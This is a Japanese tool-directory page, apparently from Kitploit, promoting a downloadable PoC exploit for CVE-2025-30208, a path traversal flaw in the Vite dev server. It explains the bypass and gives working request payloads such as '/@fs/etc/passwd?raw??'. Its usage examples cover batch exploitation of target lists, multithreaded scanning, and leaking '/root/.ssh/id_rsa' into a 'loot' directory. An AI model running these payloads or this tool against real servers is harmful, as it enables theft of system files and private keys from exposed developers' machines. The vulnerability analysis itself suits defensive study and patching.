Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-30208 — Vite /@fs/ Path Traversal(transformMiddleware内)の任意ファイル読み取り脆弱性(CVE-2025-30208)に対するエクスプロイトスクリプトのPoC。 | Kitploit
ツール/GitHubGitHub/4xura/cve-2025-30208
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHub4xura/cve-2025-30208

CVE-2025-30208

Vite /@fs/ Path Traversal(transformMiddleware内)の任意ファイル読み取り脆弱性(CVE-2025-30208)に対するエクスプロイトスクリプトのPoC。

リポジトリを見る
10511年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-30208

Vite /@fs/ Path Traversal (CVE-2025-30208) の 任意のファイル読み取り 脆弱性のエクスプロイトスクリプトの PoC です。詳細な分析はこちらの記事をご参照ください。

以下のバージョン未満で脆弱性があります:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

概要

Vite は人気のオープンソースプロジェクトであり、Github や公式ウェブサイト から入手できます。開発モードでは特別なプレフィックス @fs を使用して、絶対ファイルパス への直接アクセスを許可しています:

root@kitploit:~
GET /@fs/<absolute/path/to/file>

しかし、悪用を防ぐため、Vite は次のような設定を使用して @fs でアクセスできるものを制限しています:

root@kitploit:~
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

したがって理論的には、許可されたディレクトリの外にあるファイル(/etc/passwd など)は、 のようなトリックを使ってもされるはずです。

../../../
ブロック

しかし、問題は Vite が URL を解析・チェックする方法(transformMiddleware ミドルウェア/関数経由)にあります。このミドルウェア/関数は ensureServingAccess(url, ...) を使用して、/@fs/ 経由のファイルリクエストが許可されているかどうかをチェックします。

しかし、攻撃者は以下のように URL に末尾のクエリ区切り文字を含むリクエストを作成する可能性があります:

root@kitploit:~
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??

これらの形式は、不正なクエリ文字列がルートロジックに一致するため、正規表現フィルター(rawRE、urlRE)とセキュリティチェックをバイパスします。仕組みは次のとおりです:

  1. パスは /@fs/../../../etc/passwd
  2. クエリ文字列は raw??(意図的に不正な形式)
  3. 内部的に Vite は末尾の ? のような文字を除去または正規化しようとしますが、これはファイルパスが許可されているかどうかをチェックする前に行われます。
  4. しかし、このチェックはクエリ文字列を正しく解析および一致させることができないため、許可リストのロジックが適用されません。

つまり:

  • リクエストは server.fs.allow チェックをバイパスします。
  • Vite はそれを有効なファイルアクセスリクエストとして扱います。
  • そして存在すれば /etc/passwd のような任意のファイルを読み取って返します。

PoC の使い方

基本的な使い方

root@kitploit:~
python3 poc.py [OPTIONS]

オプション

フラグ/オプション説明
-u, --url単一ターゲット URL(例: example.com:5173)
-f, --fileターゲットリストを含むファイル(1行に1URL)
-p, --path読み取るファイルシステムパス(デフォルト: /etc/passwd)
-b, --bypassルート検証をバイパスするクエリ文字列(デフォルト: ?raw??)
--proxyプロキシ URL(例: http://127.0.0.1:8080)
-o, --outputエクスプロイト結果の保存先ディレクトリ(デフォルト: results)
-t, --threadsバッチモードのスレッド数(デフォルト: 10)
-h, --helpヘルプメッセージを表示して終了

使用例

単一ターゲットのエクスプロイト:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173

カスタム LFI パスで目的のファイルを漏洩する単一ターゲット:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'

複数ターゲットのバッチエクスプロイト:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt

カスタムバイパスクエリ:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"

プロキシ(Burp Suite など)を使用:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080

カスタム出力ディレクトリ:

root@kitploit:~
python3 cve-2025-30208.py -u example.com:5173 -o ./loot

バッチモードでスレッド数を増やす:

root@kitploit:~
python3 cve-2025-30208.py -f targets.txt -t 50
ツールをダウンロード